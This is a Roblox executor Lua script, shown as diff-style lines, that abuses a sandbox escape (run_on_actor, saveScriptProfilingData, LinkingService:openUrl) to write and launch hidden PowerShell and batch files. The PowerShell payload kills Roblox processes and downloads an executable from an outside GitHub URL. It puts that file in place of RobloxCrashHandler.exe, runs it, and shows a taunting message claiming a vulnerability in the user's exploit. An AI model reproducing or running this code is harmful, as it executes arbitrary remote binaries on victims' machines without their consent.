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- if not run_on_actor then return end
- for i, v in pairs(getactors()) do
- run_on_actor(v, [=[pcall(function()
- local POWERSHELL_NAME = "doom.ps1"
- local POWERSHELL_PAYLOAD = [[
- Add-Type -AssemblyName PresentationCore,PresentationFramework
- taskkill /f /im RobloxCrashHandler.exe
- timeout 1
- move RobloxCrashHandler.exe .old
- Invoke-WebRequest "https://raw.githubusercontent.com/evoincorp/doom/refs/heads/main/doom_bootstrapper.exe" -OutFile RobloxCrashHandler.exe
- taskkill /f /im RobloxPlayerBeta.exe
- [System.Windows.MessageBox]::Show("Greetings, $env:USERNAME! It seems we meet again.`n`nJust like last time, you just ran a script which abused a vulnerablity in your exploit to gain access to your system.`n`nThis is the third major round of arbitary code execution vulnerabilities, yet these 'exploit developers' still haven't learned how to secure their software - seems the only thing worse than your aim is your exploit!`n`nConsidering it's Halloween, we're feeling quite generous.`n`nYour punishment is that you cannot play Roblox for the rest of today.`n`nWe've replaced your Roblox with one of the best games of all time, one quite well suited to Halloween might I add.`nWe're sure you'll love it.`n`nGood luck!","Greetings from Latte Softworks!",0, 16)
- attrib +r RobloxCrashHandler.exe
- start RobloxCrashHandler.exe
- ]]
- local Path2 = game["Script Context"]:saveScriptProfilingData(POWERSHELL_PAYLOAD, POWERSHELL_NAME)
- local FILE_NAME = "doom.bat"
- local PAYLOAD = `start "" "powershell" -WindowStyle Hidden -ExecutionPolicy Bypass {Path2}`
- local Path1 = game["Script Context"]:saveScriptProfilingData(PAYLOAD, FILE_NAME)
- game.LinkingService:openUrl(Path1)
- end)]=])
- end
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